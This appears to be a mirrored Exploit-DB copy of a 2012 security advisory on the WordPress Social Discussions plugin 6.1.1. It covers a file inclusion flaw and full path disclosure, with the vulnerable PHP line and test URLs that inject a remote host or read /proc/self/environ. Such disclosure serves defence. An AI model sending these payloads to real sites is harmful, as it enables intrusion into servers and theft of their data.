WordPress Plugin social discussions 6.1.1 – Multiple Vulnerabilities

• Exploit Database
• 119 阅读

• 作者： waraxe
  日期： 2012-10-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22158/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92

  [waraxe-2012-SA#093] - Multiple Vulnerabilities in WordPress Social Discussions Plugin ======================================================================================   Author: Janek Vind "waraxe" Date: 17. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-93.html     Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also enables you to Automatically Publish or Self Publish your Blog Posts to 25+ Networks.   http://wordpress.org/extend/plugins/social-discussions/   Affected version: 6.1.1   ############################################################################### 1. Remote File Inclusion in "social-discussions-networkpub_ajax.php" ###############################################################################   Reasons: Uninitialized variable "$HTTP_ENV_VARS" Attack vectors: User-supplied parameter "HTTP_ENV_VARS" Preconditions: 1. register_globals=on 2. register_long_arrays=off 3. allow_url_include=on for RFI if PHP >= 5.2.0 4. PHP must be < 5.3.4 for LFI null-byte attacks 5. magic_quotes_gpc=off for LFI null-byte attacks Php script "social-discussions-networkpub_ajax.php" line 2: ------------------------[ source code start ]---------------------------------- if (!function_exists(&apos;add_action&apos;)){ @include_once($GLOBALS[&apos;HTTP_ENV_VARS&apos;][&apos;DOCUMENT_ROOT&apos;] . "/wp-config.php"); ------------------------[ source code end ]------------------------------------   We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive "register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in same time "register_globals=on", it is possible to fill that array with any value, leading to the RFI (Remote File Inclusion) vulnerability.     Tests:   http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?   http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z     ############################################################################### 2. Full Path Disclosure in multiple scripts ###############################################################################   Reasons: Direct request to php script triggers pathname leak in error message Preconditions: PHP directive display_errors=on Result: Information Exposure Through an Error Message   Tests:   http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php   Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2   http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php   Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2   http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php   Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3       Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   come2waraxe@yahoo.com Janek Vind "waraxe"   Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------